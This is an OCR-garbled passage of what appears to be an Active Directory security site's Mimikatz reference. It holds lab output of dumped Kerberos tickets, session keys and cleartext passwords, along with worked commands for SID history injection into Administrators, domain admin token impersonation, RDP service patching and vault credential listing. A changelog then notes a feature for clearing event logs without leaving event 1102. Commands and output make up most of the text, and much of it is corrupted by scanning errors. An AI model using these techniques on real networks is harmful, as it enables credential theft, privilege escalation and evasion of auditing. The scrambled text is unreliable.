Service Name <(B2)> : 5 ADSDCAS . lab.adsecurity.ory ; @ LAB.ADSECURITY.ORG
Target Name <(B2) : cifs ADSDCOS . lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Client Name (81> HanSolo ; @ LAB.ADSECURITY.ORG
Flags 48a48008 ok_as_delegate ; pre_authent ; renewabhle ; forwardable ;
Session Key BxPABEAB12 - aes256_hmac

d7354"3d416e406122711?fbd449d8h978hcaBBecthSBBf”BS1Ehc7bhd54eBB

Ticket : BxBBBBBB12 - aes256_hmac i kvno = 1 [-.-3

[Blﬂﬂﬂﬂﬁll

Start/End/HaxRene : 1/1-2815% 8:83:58 PM ; 12,2015 6:83:49 AN ; 182815 B8:83:49 PM
S ice Hame <82 cifs ; ADSDCA1 . lab.adsecurity.org ; @ LAB.ADSECURITY .ORG
q cifsz ; ADSDCHL.lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Client Name HanQola H E LRB ADSECURITY . ORG
Flags 48a480008 ok_as_delegate ; pre_authent ; renewable ; forvardable ;
Session Key = Bkﬁﬁﬁﬁﬂﬂl’ - aes256_hmac
c?h633992133h8384d37c9?4£383d533c1d9ee36843cﬂd39e3199f2ddf:a3ch9
Ticket BxPAPBBABA12 - aes256_hmac 3 kvno = 3 Ly=r=yd
[BBB0a8a2Z 1
Start/End-HaxRenew: 1-1-2815 8:83:58 PH ; 1-2-2815 6:83:4% AN ; 1-8-.2815 8:83:49 FH
Service Name (82) ldap ; ADSDCAS. lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Target Name <(B2) ldap ; ADSDCAS.lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Client Name (A1) : HanSolo ; @ LAB.ADSECURITY.ORG
Flags 4Ba4@BBB : ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Hey : BxAARBAA12 — aes256_hmac
?SGcaib154959339163654bf28F099.a413ec43a9ehadafaﬁ?acF3f9d23F237B
Ax00000012 - aes256_hmac i kvno = 1 [---13
[BlEﬂGﬂB&]

Start/End-MaxRenew: 11,2815 8:83:49 PH ; 1-2-2015 6:83:4% AM ; 1-8.-2815 8:83:49 P

Service Name (82> LDAP ; ADSDCAS . lab.adsecurity.org ; lab.adsecurity.org ; @ LAB_ADSECURITY .ORG

Target Mame <B2)> LDAP ; ADSDCAS.lab.adsecurity.ory ; lab.adsecurity.org ; @ LAB.ADSECURITY.ORG

Client Name (B1) HanSolo ; @ LAB.ADSECURITY.ORG ¢ LAB.ADSECURITY.ORG >

Flags dﬂaiﬂﬂﬂa = ak _as_delegate ; pre_ authcnt ; renewable ; forwardable ;

Session Key 200008012 — aes256_hm
b521?321a1a6f944c8h467ai657@14f61Ba49?53?3a416cf1891daed4e9ﬁ?ehf

Ticket : BxBAABAA12 - aes256_hmac 7 kvno = 1 | P |

Group 1 = Client Ticket 7

Group 2 — Ticket Granting Ticket
[ARBAORAA 1
Start/End/MaxRenew: 1-1-2015 9:36:51 PM ; 1-/2,20815 6:83:4% AN ; 18,2815 B8:83:4% PH
Service Name (B2) krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (—==) B LAB.ADSECURITY.ORG
Client Name (81> : HanSolo ; @ LAB.ADSECURITY_ORG ¢ $%Delegation Ticket$s
Flags GBaEBﬂﬂB : pre_authent ; renewahle ; forwarded ; forwardahle ;
Session Key Ax0080001°7 — rc4_hmac_nt
?hc2fda439d1362"1edc434§383c48?4
Ticket : Bx000000817 - rcd4_hmac_nt # kvno = 2 [--:1
[BBBB00A1 1
Start/End/MaxRenew: 1,1,2015 8:83:49 PM ; 12,2015 6:83:49 AN ; 18,2015 8:83:49 PM
Service Name (B2) rhtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (B2) krbtgt ; ADSECLAB ; @ LAB.ADSECURITY.ORG
Client Name (B1)> HanSolo ; B LAB.ADSECURITY.ORG ¢ ADSECLAB >
Flagﬂ 4BBBIBBB : pre_authent ; initial ; renewable ; forwardable ;
Session Hey : UxB0BBAA17 - w»c4_hmac_nt
b 5d¢899491?1422c91d963a941f4hc9
Ticket : Bx00000817 — rc4 _hmac_nt

The following screenshot shows dumped credentials and Kerberos tickets (TGS & TGT) for a SQL service
account (svc-SQLDBEnNgine01).
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Authentication Id = @ ; 28583408 (APOPBOOH:BB2Zh?d64>

Session Service from @

User Name sue—SQLDBEngined1

Domain ADSECLAB
§-1-5-21-1473643419-774954889-2222329127-1687

LA DEECURITY .OR
: ThisIsAGoodPassword?9?

Group @ - Ticket Granting Service
[APBPABRAR 1
Starts/End/MaxRenew: 12,28-2814 7:58:48 PHM ; 12-29,2014 5:58:46 AM ; 142815 7:58:46 PM
Service Name (B2 ProtectedStorage ; ADSDCHAL.lab.adsecurity.org ; B LAB.ADSECURITY.ORG
Target Name 2 ProtectedStorage ; ADSDCH1.lab.adsecurity.org ; B LAB.ADSECURITY .ORG
Client NHame ( suc—SQLDBEngineﬂl ; @ LAB.ADSECURITY .ORG
Flags 48&46388 ok_as_delegate ; pre authent ; renewahle ; forwardahle ;
Session Key BxA0008012 — aes256_
5521rd568cb44Ee1Bd3&399b51536a1893d935444c5d31c703cacb26f§ afc?1
Ticket BxPPBARA1L2 - aes256_hmac ; kvno = 3 [Toaadl

[APBAAAA1 1
Start/EndsMaxRenew: 12282814 7:58:48 PH ; 12-29-2814 5:58:46 AM ; 1-4-2815% 7:58:46 PH
Service Name (B2) : cifs ; ADSDCE1.labh.adsecurity.org ; B LAB.ADSECURITY .ORG
Target Hame <«(B2) : cifs ; ADSDCE1.lab.adsecurity.org ; B LAB.ADSECURITY .ORG
Client Name <(B1) : sve—SQLDBEngine®l ; @ LAB.ADSECURITY.ORG
Flags 48a408008 : ok_as_delegate ; pre_. authent ; renewahle ; forwardable ;
Session Key BxP00808812 — aes256_hm
fceaqschGGa?BEa?aI316ddf9eh3116332dd?ehcr5hc§791920bbed7ac7ef&c3
Ticket 8x00000012 — aes256_hmac 5 kuno = 3 [Lomall
[BA688802 1
Start/End/MaxRenew: 12.28-2814 7:58:46 PH ; 12-29,2814 5:58:46 AM ; 1-4-2815 7:58:46 PH
Service Name (B2) LDAP ; ADSDCE1.lab.adsecurity.org ; lab.adsecurity.org ; @ LAB.ADSECURITY.ORG
Target Name <(B2) LDAP ; ADSDCHL.lab.adsecurity.org ; lab.adsecurity.oryg ; @ LAB.ADSECURITY.ORG
Client Name (81> svc—SQLDBEnginedl ; @ LAB. ﬂDSECURIT? ORG ¢ LAB. RDSECURITE ORG >
Flags 48a40008 ok_as_delegate ; pre_; authent ; renewahle ; forwardable ;
Session Key BxBP0BERB1Z2 - aes256_hm
ec4ﬁ$f73d?ab??c§335f«1c3B743?c3fd192a61655LeF355114c7d19d639adb?
Ticket : xPP0ARR12 - aes256_hmac 3 kvno =

Group 1 — Client Ticket ?

Group 2 = Ticket Granting Ticket
[APBRAAAAA 1
Start/EndsMaxRenew: 12-28-2814 7:58:48 PH ; 12-29-2814 5:58:46 AM ; 1-4-2815% 7:58:46 PH
Service Name (B2) krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name {(—2 B LAB.ADSECURITY .ORG
Client Mame <B1) swc—SOLDBEngine®l ; @ LAB.ADSECURITY.ORG ¢ %$5Delegation Ticket$s »
Flags 6Pa@B8aon pre_authent ; renewable ; forwarded ; forwardahle ;
Session Key : BxB8808ea17? - rc4_hmac_nt
1ahlBrcEaeeBaEaidcafGebbB??.c?ES
Ticket 8x00000017 — rc4_hmac_nt 3 kuno = 2 [Lomadl
[BpaBa8a1 1
Start/EndsMaxRene 11,2015 9:28:46 PM ; 1,2-2815 7:28:46 AM ; 1-4-20815 7:58:46 PM
Service Name (B krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name <(B2) krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (81> suc—SQLDBEngineBl 3 B LAB.ADSECURITY.ORG ¢ LAB.ADSECURITY.ORG >
Flags 4880008 pre_authent ; initial ; renewable ; forwardable ;
Session Key BxBBBBBB1L7? - rcd_hmac_nt
?Qﬁhdnﬂﬁdﬁc33?hF3441hB3f?dhe??c3
Ticket : xBBAARR17? - rcd4_hmac_nt 3 kuno = 2

SEKURLSA::Trust — get trust keys
(1 think this is deprecated in favor of Isadump: :trust /patch)

SEKURLSA::TSPKG - Lists TsPkg credentials
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mimikatz # sekurlsa::tspkg

Huthent1cat1nn s ; 3766174 (00000000 :0039779e)
: ctive from 2

Domain
LDQDH SgPVEP
tspkag

uuthent1cat1un

: Service T
U= er‘ Mame : RDL ABDCO2%
Domain -

on Server N | )

on Time 3 ! 5 5:13:02 PM

Authentication : 0 ; 455 (00000000:00398857)

Ssession : Interactive from 2

User MName : Admin

Domain :

Logon Serwver : ABDCOZ2

Logon Time : 5 :' PM

5ID 1 5 5-21-2571 62-4185 8794 66-3696909401-1107
t=pkag

Authentication 3 ; 3770425 (00000000:00398539)
Session : Interactive from 2
User MName 3 Hdmin
Domain :
on Server

96962-4185879466-3696909401-1107

L er Nam&

Domain

Logon Serwver
on Time

t=pkag

: 0 ; 997 (00000000 :00000325)
: Service from O

: LOCAL SERVICE

: NT AUTHORITY

Server N ]

on Time - 5 6:13:03 PM

tspkg

SEKURLSA::Wdigest — List WDigest credentials
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mimikatz(commandline) # sekurlsa::wdigest

Authentication Id : @ ; 72551743 (00000000: R4530d3f )
: Remotelnteractive from 2
adsadministrator

ADSECLAB

12/5/2@15 8:39:04 PM
1-5-21-1581655573-3923512380-696647894-500

ADSAdministrator
ADSECLAB
* Password : Password99!!

Authent ication Id : @ ; 13928958 (QDOVPOAD: Od489fe)
: Remotelnteractive from 2

SDCO3
11/27/2@1.5 2:53:45 P
=1-5=-21= 15816555734'3923512'388 696647894-2634

* Password :

Authentication Id :

S PH
5-21- 15816555 3-3923512380-696647894-2629
ukeSkywalker
DSECLAB
* Password heForce29!

Authentication Id : ; 4160574 (0000 003f 7c3e)
from 2

* Password
Authentication Id :
on :

* Password :
Authentication Id :

63 2e
7e c@ Qe
) ef 7a
c8 fd 6¢c Ze 4 al c@ 3¢ 1b
8c 47 b2 4f 9 C c = 84

Authentication Id : 5, 24505 (20000000 : DBB@SH;’Q)
H UndelnedLogonT/pe from
i C(null)
: C(null)
9/6,2015 1:34:51 PM
wdigest :

Authentication Id ; (020000 : EAAD3e7)
ion IgcgonTvpe from @

63 49
c@
ef

1 c@

a
5d a7

SERVICE

SERVICE::+ (plus sign)- Install Mimikatz service (‘mimikatzsvc’)

mimikatz # service::+

[*] 'mimikatzsvc' service not present

[+] "mimikatzsvc' service successfully registered
[+] 'mimikatzsvc’ service ACL to everyone

[+] 'mimikatzsvc' service started

SERVICE::- (minus sign) — Uninstall Mimikatz service (‘mimikatzsvc”)

mimikatz # service::
[+] 'mimikatzsvc' service stopped

[+] 'mimikatzsvc' service removed
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SERVICE::List — List Services

SERVICE::Me

SERVICE::Preshutdown — preshutdown service
SERVICE::Remove — Remove service
SERVICE::Resume — resume service
SERVICE::Shutdown — shutdown service
SERVICE::Start — Start a service
SERVICE::Stop — Stop service

SERVICE::Suspend — Suspend the service
SID

The Mimikatz SID module replaces MISC::AddSID. Use SID::Patch to patch the ntds service.
SID::add — Add a SID to SIDHistory of an object

mimikatz # sid::add /sam:jangofett /new:Builtin\administrators

CN=JangoFett,CN=Users,DC=1ab0,DC=adsecurity,DC=o0rg
name: JangoFett
ObJ ectGUID: {535d07a4-2661-4ac9-91b0-1278870325c7}

objectsid: s-1-5-32-544
SAMAccountName: jangofett

* Will try to add 'sIDHistory' this new SID:'S-1-5-32-544": OK!

SID::clear — Clear SIDHistory of an object
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rimikatz # sid::clear /sam:jangofett

N=JangoFett,CN=Users,DC=1ab0,DC=adsecurity,DC=0rg

name: JangoFett

objectGUID: {535d07a4-2661-4ac9-91b0-1278870325c7}

objectsSid: S-1-5-21-186993273-1316126705-865754954-9999

SAMAccountName: jangofett

sIDHistory:
[0] s-1-5-18 ( wellknownGroup -- NT AUTHORITY\SYSTEM )
[1] S-1-5-32-544 ( Alias -- BUILTIN\Administrators )

* Will try to clear 'sIDHistory': OK!
rimikatz # sid::query /sam:jangofett

N=JangoFett,CN=Users,DC=1ab0,DC=adsecurity,DC=0rg

name: JangoFett

ObjectGUID: {535d07a4-2661-4ac9-91b0-1278870325c7}
objectsid: s$-1-5-21-186993273-1316126705-865754954-9999
SAMAccountName: jangofett

SID::lookup — Name (/name) or SID (/sid) lookup

mimikatz # sid::Tookup /name:jangofett
: jangofett
: User
: ADSECLABO
: S-1-5-21-186993273-1316126705-865754954-2103

SID::modify — Modify object SID of an object

mimikatz # sid::modify /sam:jangofett /new:S-1-5-21-186993273-1316126705-865754954-9999

ICN=JangoFett,CN=Users,DC=1ab0,DC=adsecurity,DC=org
name: JangoFett
objectGUID: {535d07a4-2661-4ac9-91b0-1278870325c7}
objectsid: s-1-5-21-186993273-1316126705-865754954-2103
SAMAccountName: jangofett

* Will try to modify 'objectsSid' to 'S-1-5-21-186993273-1316126705-865754954-9999": OK!

SID::patch — Patch NTDS service

Patch 1/2: "ntds" service patched

Patch 2/2: "ntds"” service patched

SID::query — Query object by SID or name
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mimikatz # sid::query /sam:jangofett

CN=JangoFett,CN=Users,DC=1ab0,DC=adsecurity,DC=org
name: JangoFett

objectGUID: {535d07a4-2661-4ac9-91b0-1278870325c7}
objectsid: S-1-5-21-186993273-1316126705-865754954-9999
sAMAccountName: jangofett

STANDARD

STANDARD::Answer— Answer to the Ultimate Question of Life, the Universe, and Everything.

mimikatz # standard::answer
42 .

STANDARD::Base64 — switch output to base64 output
STANDARD::CD - change or display current directory
STANDARD::CLS — Clear screen

STANDARD::Coffee — show an ASCII image of coffee (¥
STANDARD::Exit— quit Mimikatz

STANDARD::Hostname — Displays system local host

mimikatz # standard::hostname

MimiTestl

STANDARD::LocalTime — Displays system local date and time (OJ command)

mimikatz # standard::localtime
Local: 11/28/2017 4:28:03 AM

UTC : 11/28/2017 4:28:03 AM

STANDARD::Log — Send Mimikatz data to log file

STANDARD::MarkRus— Pass-the-Hash information. &
Removed in Mimikatz 2.1.1

STANDARD::Sleep — sleep an amount of milliseconds

mimikatz # standard::sleep 30

Sleep : 30 ms... End !

STANDARD::Version — display version information
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mimikatz # standard::version

mimikatz 2.1.1 (arch x64)

Windows NT 10.0 build 14393 (arch x64)
msvc 150030729 207

SYSENV

The Mimikatz SYSENV module provides the ability to manage system environment variables.

SYSENV::List
SYSENV::Get
SYSENV::Set

SYSENYV::Del

TOKEN

The Mimikatz Token module enables Mimikatz to interact with Windows authentication tokens, including

grabbing and impersonating existing tokens.

TOKEN::Elevate — impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain
admin token on the box using the Windows API.

Requires Administrator rights.

mimikatz # token::elevate
oken Id : O

er name :
SID name

392

ROMAdmin > 6962-411 466-36963094 (18g Primary
NT AUTHORITY E: ( ) N 1 (Delegation)

Find a domain admin credential on the box and use that token: token::elevate /domainadmin

mimikatz # token::elevate /domainadmin
oken Id :

User name

SID name : ADSECLAB\Domain Admins

3096 650797 ADSECLAB\adsadministrator $-1-5-21-1581655573-3923512380-696647894-500 (18g,25p) Primary

-> Impersonated !

* Process Token : 59100021 ADSECLAB\adsadministrator S-1-5-21-1581655573-3923512380-696647894-500 (18g,25p) Primary

;hread Token : 59187991 ADSECLAB\adsadministrator 5-1-5-21-1581655573-3923512380-696647894-500 (18g,25p) Impersonation (Delegat
ion

TOKEN::List — list all tokens of the system
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atz # token::
nId :0

Window Managel 2
NT AUTHORITY“LOCAL SERVICE

NT

095 ]
126 NT AUTHORIT

Proces : 38 g dmin
“ Thread Tt

TOKEN::Run — Run
TOKEN::Whoeami — Display current identity

TS

5

Primary
Primary

Primary
Primary
Primary

Primary

Primary

Primary

Primary
6909401-110 § Primary
Pri ;
Imper
11g,08p)
Imper
Imper
Imper
Imper
Imper

ation (T

Impersonatio
10p) Imper ati (Im nation)

{04g,20p) Primary

9466-3696909401-1107
04g,20p) Imper

962-4185879466-3696909401-1107 (18g,25p) Primary

TS::MultiRDP — (experimental) Patch Terminal Server service to allow multiple users

ts:imultirdp

"Termservice” service patched

TS::Sessions — List TS/RDP sessions.
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mimikatz # ts::sessions

Session: @ - Services
state: Disconnected (4)
user : @
curr : 11/28/2017 4:30:08 AM
lock : no

Session: 1 - Console
state: Connected (1)
user : @
Conn : 11/28/2017 2:12:34 AM
curr : 11/28/2017 4:30:08 AM
lock : no

Session: *2 - RDP-Tcp#1l
state: Active (©0)

user : adsadmin @ MimiTestl
Conn : 11/28/2017 2:21:56 AM
logon: 11/28/2017 2:22:00 AM
last : 11/28/2017 4:30:08 AM
curr : 11/28/2017 4:30:08 AM
lock : no

addr4: 70.214.109.201

Session: 65536 - 31C5CE94259D4006A9E4
state: Listen (6)
user : @
lock : no

Session: 65537 - RDP-Tcp
state: Listen (6)
user : @
lock : no

TS::Remote

VAULT

VAULT::List — list vault credentials

mimikatz # vault::Tist

fault : {4bfdcd42-9bBa-41a0-b380-dd4a704ddb28}
Name : Web Credenti
Path : C:hUsershAdmin\AppDatalLocal\Microsoft \Waulth4BF4C442-968A-41A0-B380-DD4A704DDE2 B
Items (0)

: {77bc582b-F0a6-4e15-4e80-61736b6F3b29}
: Wi ials

Name eden 5
Path 3 IC WAdmindAppDatahLocal’MicrosoftiVault
Items (0)

VAULT::Cred — cred

Mimikatz Version History

Sourced from Mimikatz release Github page
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Mimikatz 2.1.1 — Release Date: 12/20/2017
2.1.1 20171220
Clear event logs without the event log logging 1102 “Event Log Cleared”

Mimikatz 2.1.1 — Release Date: 12/19/2017
2.1.1 20171219

Mimikatz 2.1.1 — Release Date: 12/18/2017
2.1.120171218
mimidrv updated for Windows 10 version 1709, (x64)

Mimikatz 2.1.1 — Release Date: 11/28/2017
2.1.1 20171128

Mimikatz 2.1.1 — Release Date: 11/06/2017

2.1.1 20171106

[fix #107] remove _vscwprintf dependency with mimilove on Windows 2000

[credits] with his work on AD, Vincent Le Toux (@vletoux) is starring as co-author (¥
[internal] DRSR RPC

[fix] dcsync export as CSV without junk chars between username and NTLM hash

Mimikatz 2.1.1 — Release Date: 08/13/2017
2.1.1 20170813
crypto::extract now supports CAPI & BCrypt (RSA/AES/DES/3DES/DESX/RC4/RC2...)

[new] Isadump::changentlm to *change* user password/hash to another password/hash

Mimikatz Release Date: 6/06/2016

2.1 alpha 20160506.1 (oe.eo) edition

[remove] mimikatz Isadump::dcsync req v10 & rep v9

[future fix] mimikatz 1sadump::dcsync pDrsExtensionsInt->dwExtCaps = MAXDWORD32

Mimikatz Release Date: 6/06/2016

2.1 alpha 20160606 (oe.eo) edition

[fix #47] mimikatz lsadump::dcsync ‘Fun with flags’ to support AD Privileged Access Management in 2016 TP5
(req v10 & rep v9)

Mimikatz Release Date: 6/04/2016
2.1 alpha 20160604 (oe.eo) edition
[fix #46] MSV structure alignment for Windows 10 > LTSB (LSAISo & normal)

[enhancement] SID/Name lookup & LDAP query now with system arg (not only local/current domain)

Mimikatz Release Date: 6/01/2016
2.1 alpha 20160601 (oe.eo) edition

[fix] mimikatz Isadump::dcsync now supports AD with recycle bin enabled (thanks to Marcus Rath for report)
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Mimikatz Release Date: 5/25/2016

2.1 alpha 20160525 (oe.eo) edition

Isadump::netsync to ask a DC to send current and previous NTLM hash of DC/SRV/WKS
Lots of thanks to @asolino for his help!

Mimikatz Release Date: 5/22/2016
2.1 alpha 20160522 (oe.eo) edition
[fix #39] Removing 2 bytes of alignment when using LSAIso with MSV

Mimikatz Release Date: 5/06/2016

2.1 alpha 20160506 (oe.eo) edition

[fix #36] Replace wcsicmp by _wcsicmp to avoid warnings with moderns VS
New SID module

[remove] misc::addsid

[new] sid:: module, to lookup, query, modify, add... (2003/2008r2/2012r2 right now)

Mimikatz Release Date: 4/30/2016
2.1 alpha 20160501 (oe.eo) edition
[close #35] DCSync works with renamed domains

Thanks to @rmbolger & @MichaelGrafnetter, DCSync now deals with msDS-ReplicationEpoch / dwReplEpoch

Mimikatz Release Date: 3/27/2016

2.1 alpha 20160327 (oe.eo) edition

Welcome to Windows 10 LTSB & current

[remove] mimidrv & mimikatz kernel module: Process & Object callbacks remover are not anymore in the
program

[internal] Windows 10 is now splitted in 1507 (LTSB) and 1511 (current)

[internal] mimidrv: Windows 10 support added

[internal] mimilib WinDBG module & mimikatz::sekurlsa: Windows 10 MSV / Kerberos Tickets are not specific
anymore (offsets table)

[internal] Using KULL_M_MEMORY_GLOBAL_OWN_HANDLE instead of local variable in each function

Mimikatz Release Date: 2/29/2016

2.1 alpha 20160229 (oe.eo) edition

System Environment Variables & other stuff

[new] System Environment Variables user module

[new] System Environment Variables kernel IOCTL for Set
[enhancement] privilege::sysenv

[enhancement] Busylight

[enhancement] misc::skeleton can avoid anti-AES patching for aware clients with /letaes

Mimikatz Release Date: 2/17/2016
2.1 alpha 20160217 (oe.eo) edition
[new] crypto::certificates /silent & /nokey flags
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[new] crypto::keys /silent flag

[new] kull_m_busylight module now support protocol for new devices

Mimikatz Release Date: 2/07/2016

Some DPAPI stuff

[new] vault module now handles more Vault types, Attributes and Properties (with /attributes)
[new] misc::compressme to create a compressed version of mimikatz

[new] dpapi::cred now handles legacy (NT5) multiple credentials

[new] dpapi::wifi & dpapi::wwan to deal with network profiles

[internal] kuhl_m_vault: vault::list now deals with SID / credentials attributes (with one incorrect align.)
[internal] kull_m_string: removed unused kull_m_string_suspectUnicodeStringStructure
[internal] kull_m_string: added kull_m_string_printSuspectUnicodeString

[internal] kull_m_string: added dirty kull_m_string_quickxml_simplefind

[internal] kull_m_memory: quick compress & decompress routines

[internal] kull_m_dpapi: added blob flags descriptions

[internal] kull_m_dpapi: fixed blob protection flags description for system

[internal] kull_m_dpapi: removed unused kull_m_dpapi_unprotect_backupkey_with_secret

[internal] kull_m_cred: added legacy (NT5) credentials structures & routines

Mimikatz Release Date: 1/31/2016

Lots of internals and 2003 SP1 support

[new] sekurlsa module and its kerberos submodule now work with old 2003 SP1 (live or dump)
[remove] misc::wifi with WLanAPI will be replaced with dpapi::wifi raw access

[fix] crypto::certificate buffer free at the right place

[internal] new kull_m_file Find function with callback

[internal] removed kull_m_file functions (read/write/file exist) with environment-variables, now used for all
command-lines

[internal] kull_m_crypto_hash better checks for CRC32 trick

[internal] mimilove for Windows 2000 banner update

[internal] crypto::system now works with buffers (for future registry access)

[internal] kerberos::ptt & crypto::system call kull_m_file_Find instead of their own implementation
[internal] remove CrtlHandler, from mimikatz main modules, when exiting to let PowerShell clean

[internal] expand command lines environment-variables from mimikatz main modules

Mimikatz Release Date: 1/16/2016

Crypto, crypto everywhere...

[new] crypto::providers and crypto::certificates now list provider types

[internal] Removed kull_m_crypto_crc32 routine from crypto module, relies now on cryptdll using
CALG_CRC32 with kull_m_crypto_hash

[internal] Removed incorrect usage of BOOL instead of NTSTATUS in kuhl_m_pac_validationInfo_to_PAC

Mimikatz Release Date: 1/11/2016
Crypto & Kerberos enhancements
[fix] dpapi::capi now deals with AT_SIGNATURE keys
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[fix] sekurlsa::kerberos / kerberos:: encryption type are now signed

[new] kerberos::ask to ask / save TGS from current TGT

[new] crypto::system to describe/to export Windows System Certificate (cert, crl, ctl, keyid)
[internal] smaller banner for smaller displays

[internal] Copyrights for 2016

[internal] kull_m_file can deal with environment-variable strings in paths

[internal] kull_m_crypto new types for CERT_PROP_*_ID.

Mimikatz Release Date: 1/05/2016

MSV & Kerberos fixes, LSA and Privilege enhancements

[fix] sekurlsa::msv & mimilib for Windows 10 build 10586

[fix #20] sekurlsa::tickets (display & export) for NT 6 != Windows 10

[close #16] kerberos::golden now with ~NetBios name in LogonDomainName field of the PAC

[new] privilege module shortcuts (driver, security, tcb, backup, restore) and functions (by id or name)

[new] Isadump::dcsync and Isadump::1sa /inject ‘NTLM-Strong-NTOWFEF’ in Supplemental Credentials structures
(Windows 2016 TP 4)

[internal] NtSetSystemInformation can now be used in code

Mimikatz Release Date: 11/12/2015
mimikatz & mimilib sekurlsa module ready for Windows 10 build 10586

Mimikatz Release Date: 11/09/2015
mimikatz: updated to build with hid.lib

Mimikatz Release Date: 10/08/2015
Kiwi & René Coty BusyLight mode

Mimikatz Release Date: 10/04/2015

mimikatz + mimilib sekurlsa fix for SmartCard informations

Mimikatz Release Date: 9/29/2015

sekurlsa::kerberos — Fix SmartCard pin code

Mimikatz Release Date: 9/26/2015

sekurlsa::pth Auto-impersonation (/impersonate)

Mimikatz Release Date: 9/16/2015
Isadump::dcsync fix for with 2012r2 AD Recycle Bin
Thank you to @asolino, @mubix & @carnalOwnage !

Mimikatz Release Date: 9/06/2015
Enhancements

* Code cleaning

Mimikatz Release Date: 9/01/2015

kerberos::golden : fix for groups printing.

Page 78 of 79



https://adsecurity.org/?page_id=1821

Isadump::dcsync autoselect a domain controller with Directory Service
(DIRECTORY_SERVICE)

Mimikatz Release Date: 8/30/2015
Cleaning & few Win10 adaptations

Mimikatz Release Date: 8/25/2015
Licence fix on one missed file by AnkhSVN (&=
Global licence update, credits to Vincent LE TOUX for DCSync, and lsadump::hash moved to crypto::hash
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